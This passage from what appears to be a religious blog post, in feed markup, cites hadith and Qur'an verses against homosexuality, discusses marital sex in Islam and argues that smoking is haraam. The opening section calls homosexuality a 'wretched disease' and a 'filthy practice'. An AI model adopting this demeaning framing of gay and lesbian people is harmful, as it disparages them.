font-weight:normal&quot;&gt;Nabi SAW has also said: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Lesbianism by women is adultery between them. (Tabrani). &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Once Abul Aswad RA brought a letter which he showed to one of his students and said: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;&quot;I bear witness &#39;that this letter was dictated by Ali bin Abi Tâlib RA, to Abul Aswad: &quot;When men (i.e. homosexuals) will (sexually) satisfy themselves with men and, women (i.e. lesbians) with women, then earthquakes will occur, faces will become transformed and stones will rain down from the skies.&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;&quot;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Nabi SAW has also said: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify;tab-stops:4.5pt&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;;font-weight:normal&quot;&gt;&quot;May Allâh curse him who does what Lût&#39;s AS people did.&quot; (Ibn Hibbân)&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;A lesson from history&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;It is a well known fact that when this wretched disease spread among one nation in the past, Allâh Ta&#39;âla caused punishments to rain down from the skies upon them. Allâh mentions their story in many places in the Qur&#39;ân. At one place He says:&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;&quot;And (We also sent) Lût AS (as a&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;;font-weight:normal&quot;&gt; &lt;i&gt;messenger). Behold, he said to&lt;/i&gt; &lt;i&gt;his people, do you do what is&lt;/i&gt; &lt;i&gt;shameful even though you see&lt;/i&gt; &lt;i&gt;(that it is wrong)? Would you&lt;/i&gt; &lt;i&gt;really approach men in your&lt;/i&gt; &lt;i&gt;lusts rather than women? Nay,&lt;/i&gt; &lt;i&gt;you are a grossly ignorant&lt;/i&gt; &lt;i&gt;people! &quot;&lt;/i&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt; &lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt; &lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;His people gave no other answer&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;;font-weight:normal&quot;&gt; &lt;i&gt;but this: they said,&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt; &#39;Drive out the followers of Lût from your city. These are indeed men who want to be clean and pure!&#39; But We saved him and his family&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;;font-weight:normal&quot;&gt; &lt;i&gt;except his wife: We destined her&lt;/i&gt; &lt;i&gt;to be of those who lagged behind&lt;/i&gt; &lt;i&gt;And we rained down on them a&lt;/i&gt; &lt;i&gt;shower (of stones). And evil was the shower on those who were&lt;/i&gt; &lt;i&gt;admonished (but failed to heed).&lt;/i&gt; &lt;i&gt;(Surah an-Naml verse &lt;/i&gt;54-58)&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;At yet another place, Allâh Most High says:&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Do you approach the males of humanity, leaving the wives Allâh has created for you? But you are a people who transgress. (Surah Ash-Shu&#39;ari verse 165-166)&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;From the first âyah, we learn that these people had themselves admitted that the family of Lût AS who had &lt;/span&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;imân&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;;font-weight:normal&quot;&gt; [belief in Allâh] was decent, chaste and morally pure. They also acknowledged that the family of Lût AS refrained from this filthy practice. They realised this since it is natural for every person to immediately recognise the pure way of life inspired by Allâh Ta&#39;âla when they see it and also to make out any type of unnatural and perverted behaviour.&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;In the&lt;/span&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt; tafsir&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt; [commentary] of these verses, it is mentioned that both homosexuality and lesbianism were being practised by the people of Lût When Allâh decided to punish them, He commanded Jibra&#39;îl AS to lift the village of Lût to the extent that the angels of the first heaven (sky) could actually hear the barking of their dogs. Jibra&#39;îl then turned them over and dropped them from this tremendous height. Thereafter, Allâh Ta&#39;âla caused scorching hot stones to rain down upon them. This is how this nation ended up being an example for the rest of mankind until the Day of Qiyâmah.&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Imâm Al-Âjur &lt;i&gt;Rahmatullah &lt;/i&gt;alaihi has said, &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;&quot;Allâh Ta&#39;âla has informed you about the despicable act of homosexuality committed by the people of Lût AS - and how He punished them by first snatching away their eyesight. Jibra&#39;îl AS was then instructed to uproot their cities with all its inhabitants until they were high up in the sky and then turn over their cities upon them. Thereafter, they were pelted with stones of clay.&quot; Such was their punishment that not a single citizen or traveller could save himself from the stones and from being completely destroyed. It is said that they were four million people in number. (Tafsîr Ibn Kathîr p. 471 vol. 2)&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Let us reflect! Why did Allâh Ta&#39;âla punish them so severely in such a manner that He had never punished any other nation before? Surely their sin must have been really serious for Allâh Ta&#39;âla to have punished and destroyed them in this way.&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;b&gt;Sex in Islam:&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;In the Islamic faith, the first and the foremost and the most reliable and highest form of religious law for faithful Muslims is contained within the holy Qur&#39;an. The Prophetic Traditions (also known as&lt;i&gt; Hadith, &lt;/i&gt;which are&lt;i&gt; &lt;/i&gt;the sayings and doings and tacit approval of things said or done in the presence of the Prophet Muhammad, p.b.u.h.) are a second source of law.&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt; According to Islam, procreation is not the sole and only purpose of marriage. While procreation is a primary purpose, companionship and enjoyment of the spouse along with avoidance of unlawful or sinful relationships are also secondary purposes. These secondary purposes play their own important roles in the Islamic teachings which govern sexual relations. In other words, although procreation is definitely an aim, it is not an exclusive aim. Procreation is the major purpose, but nonetheless enjoyment and other purposes also play significant roles in married life as evidenced by the Islamic teachings which relate to sexual relations.  &lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;Although the primary purpose of sex is procreation, the Qur&#39;an does not forbid it when a woman reaches menopause. For example, in the Qur&#39;an is the story is about the Prophet Zakariya a.s. (Christian spelling -- Zakaria) [see Qur&#39;an 19:1-15] who had fathered a child well into his old age. One verse in particular reads:  &lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;i&gt;&quot;He [Zakariya] said: &quot;O my Lord! How shall I have a son, when my wife is barren and I have grown quite decrepit from old age?&quot; [Qur&#39;an 19:8]&lt;/i&gt; &lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;i&gt;He said: &lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;i&gt;&quot;So (it will be): thy Lord saith, &quot;That is easy for Me: I did indeed create thee before, when thou hadst been nothing!&quot; [Qur&#39;an 19:9]&lt;/i&gt; &lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;The Qur&#39;anic reference above, then, shows the case of a couple carrying on sexual relations well into old age. This in turn signifies that these relations are allowed within marriage and into old age for Muslim couples. &lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;You will recall that this same story is found in the Old Testament with reference to Zakaria a.s. who was made to be mute for three days and nights as a sign from God.  &lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;In this connection, it is interesting to note that even in our relatively recent times, history has recorded the fact that the great Sufi &lt;i&gt;Shaikh&lt;/i&gt;, Abdul Qadir Gilani r.a., was born on the 1&lt;sup&gt;st&lt;/sup&gt; day of Ramadan 470 A.H  [some historians say 471 A.H] which corresponds to March 18, 1078 A.D. His mother was 60 years of age at the time of his birth. &lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;In terms of the Traditions of the Prophet Muhammad, p.b.u.h. we can see another meaningful example of this in the life of the Prophet. The Prophet Muhammad p.b.u.h. married his first wife (Khadija aged 40) when he was 25 years old, and he remained monogamous throughout his entire 26 years of marriage to her. He then married A&#39;isha at the age of 54, but this was three years after the death of Khadija. It was after this marriage that he then took other wives. By the way, many non-Muslim writers have directed a great deal of unjust criticism against him for this. In fact all of these women were quite old or were widows who had been left destitute and without protection during those troubled times. And so as the head of State at Medina, the only proper way (according to Arab code) in which Muhammad p.b.u.h. could extend both protection and maintenance to them was by marriage. Those marriages were not only consummated, but ancillary sexual relations have also been reported to us through the Hadith literature. Hence another proof that sexual relations are considered acceptable well into old age. &quot;Polygamy was not always considered to be so reprehensible as it is now. For example, St. Augustine himself observed that there was no intrinsic immorality or sinfulness in it, and declared that polygamy was not a crime where it was the legal institution of a country.&quot; &lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;Smoking and Drinking:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;The unanimity of intellectuals on the pursuing of good and discarding of harm is a known fact. From the beginning of time, life revolved upon this accepted principle from all intellectuals and thinkers.&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;However, the intellects of people differ regarding that which is beneficial and harmful. This is because of differences of the human mental faculties in strength, weakness, soundness and deficiency. There are so many beneficial things which people understand to be harmful and leave aside, because of their suspicion of its harm. On the contrary, there are so many harmful things which people advance towards believing them to be beneficial, therefore practising upon them. This is due to the ambiguity of so many things whose reality is not apparent and therefore not understood. Is it something beneficial which has to be pursued or something harmful which has to be abstained from and discarded? The following hadith of Nabi sallallahu alaihi wasallam substantiates this fact: &quot;Halaal and haraam are evident and between them (halaal and haraam) are doubtful things which many people are unaware of.&quot;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Verily that which is &lt;i&gt;halaal&lt;/i&gt; is beneficial and that which is &lt;i&gt;haraam&lt;/i&gt; is harmful. From amongst &lt;i&gt;halaal&lt;/i&gt; and &lt;i&gt;haraam&lt;/i&gt; are those things whose benefit and harm are self evident, for example, the benefit of honey and the harm of poison or the benefit of doing good and the harm of evil actions. But between these are many things whose benefit or harm are not known to everyone except to people of experience, correct understanding and intellect. From amongst these is the subject of smoking whose reality is vague and hidden from many people.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;b&gt;What Do Cigarettes Comprise of?&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;Cigarettes comprise of many poisonous ingredients of which nicotine is not the only poisonous ingredient as many people misconceive, but includes other ingredients whose harms are more dangerous than nicotine. From amongst its poisonous ingredients are:&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;1.         Carbon monoxide whose poisonous effect is known.&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;2.         Poisonous lead which accumulates and the body fails to break it up.&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;3.         Nicotine: This is a very poisonous substance so much so that a mere 50 mg of it can kill a person if it is injected into the arteries.&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;4.         Radio-active polonium which settles in the lungs of the smoker and doesn&#39;t separate from it.&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;5.         Tar: This is a sticky yellowish substance which makes the teeth yellow, causes tooth decay and inflammation of the gums. This is one of the most harmful ingredients.&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;6.         Arsenic which is used as an insecticide, 10% of which settles on the lung.&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;7.         Spirits and flavouring which are added by manufacturers to keep the tobacco moist.&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;8.         Benzene vapour which plays a great role in lung cancer.&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;b&gt; The Harms of Smoking &amp;amp;Alcoholism&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify&quot;&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;Mohammed Abdul Ghaffaar Al Afghani in his book &quot;Ninety nine harms of smoking&quot; has said that smoking results in many sicknesses which doctors have explained and they all amount to ninety nine.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify&quot;&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;Doctor SalahuDeen Abdur - Rabbe Nabi, a neuro surgeon in Cairo says: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-top:0in;margin-right:.5in;margin-bottom:10.0pt; margin-left:.5in;text-align:justify&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;&quot;When a person becomes enslaved to the habit of smoking, it has a very harmful effect on the smoker&#39;s health, especially to his heart. As a result, his heart beat and blood circulation becomes unstable and he experiences drowsiness from time to time due to the shrinking of his brain arteries. Sometimes during old age he suffers from high blood pressure and angina. Similarly his digestive and respiratory systems are harmed and the smoker loses his appetite. He is also afflicted by a cough which is known as the smoker&#39;s cough. When his nervous system is affected the smoker feels a prickly sensation, a numbness in his limbs and also a pain in the nerves.&quot;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify&quot;&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;Proof for The Prohibition Of Smoking And Alcohol&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify&quot;&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;Smoking did not exist in the time of Rasool Sallallaahu Alahi Wasallam, but our magnificent Deen has laid down general principles from which many laws are derived. From these principles, the Ulema (Allah&#39;s mercy be upon them) have come to the conclusion that smoking is haraam.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify&quot;&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;These proofs which indicate this are either verses from the Quraan or narrations of Nabi sallallahu alaihi wasallam. From amongst them are, briefly:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt; text-align: justify; &quot;&gt;&lt;span style=&quot;font-size:12.0pt&quot;&gt;The statement of Allah Ta&#39;aala describing the mission of Nabi sallallahu alaihi wasallam:&lt;span style=&quot;display:none;mso-hide:all&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; &quot;&gt;&lt;span style=&quot;font-size:12.0pt; font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt; &lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-right: 0.5in; margin-left: 0.5in; text-align: justify; &quot;&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&quot;He commands them to do good and stops them from evil and makes halaal for them that which is pure and makes haraam upon them that which is impure.&quot; [Quraan 7: 157]&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; &quot;&gt;&lt;span style=&quot;font-size:12.0pt; font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;This verse clearly shows pure things to be &lt;i&gt;halaal&lt;/i&gt; and impure things to be haraam. An intelligent person would no doubt regard smoking to be from among the impure things. The literal meaning of impurity is a bad thing whose taste and smell are disliked. These two qualities are found in cigarettes.&lt;/span&gt;&lt;span style=&quot;font-size:12.0pt&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-right: 0.5in; margin-left: 0.5in; text-align: justify; &quot;&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&quot;And do not squander (your wealth). Indeed the spendthrifts are the brothers of Shaytaan.&quot; [Quraan 17:27]&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; &quot;&gt;&lt;span style=&quot;font-size:12.0pt; font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Another verse of the Quraan-e-kareem states:&lt;/span&gt;&lt;span style=&quot;font-size:12.0pt&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-right: 0.5in; margin-left: 0.5in; text-align: justify; &quot;&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&quot;And do not waste, for indeed Allah does not love those who waste.&quot; [Quraan 6:141]&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; &quot;&gt;&lt;span style=&quot;font-size:12.0pt; font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Without any doubt, in the purchasing of cigarettes is destruction, wasting and squandering of wealth. All these are not permissible according to the consensus of the jurists.&lt;/span&gt;&lt;span style=&quot;font-size:12.0pt&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; &quot;&gt;&lt;span style=&quot;font-size:12.0pt; font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;This is concerning the odour of these two vegetables, so what about the repulsive stench of cigarettes which harms the smoker and irritates other people? Its foul smell is more aggravating than the smell of garlic and onion.&lt;/span&gt;&lt;span style=&quot;font-size:12.0pt&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt; text-align: justify; &quot;&gt;&lt;span style=&quot;font-size:12.0pt;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;A verse of the Holy Quraan states:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-top: 0in; margin-right: 0.5in; margin-left: 0.5in; margin-bottom: 0.0001pt; text-align: justify; &quot;&gt;&lt;span style=&quot;font-size:12.0pt;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;br /&gt;&lt;i&gt;&quot;And do not throw yourself  into destruction with your own hands.&quot; [Quraan 2: 195]&lt;/i&gt;&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; &quot;&gt;&lt;span style=&quot;font-size:12.0pt; font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Smoking causes fatal sicknesses for example, lung cancer, tuberculosis etc.&lt;/span&gt;&lt;span style=&quot;font-size:12.0pt&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; &quot;&gt;&lt;span style=&quot;font-size:12.0pt; font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;In another verse of the Holy Quraan, Allah says:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-left: 0.5in; text-align: justify; &quot;&gt;&lt;span style=&quot;font-size: 12.0pt;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;br /&gt;&lt;i&gt;&quot;And do not kill yourselves.&quot; [Quraan 4: 29]&lt;/i&gt;&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify&quot;&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt; &lt;/span&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://wakirmani.blogspot.com/feeds/7406066507164084912/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://wakirmani.blogspot.com/2012/04/entertainment-in-islam.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/7406066507164084912'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/7406066507164084912'/><link rel='alternate' type='text/html' 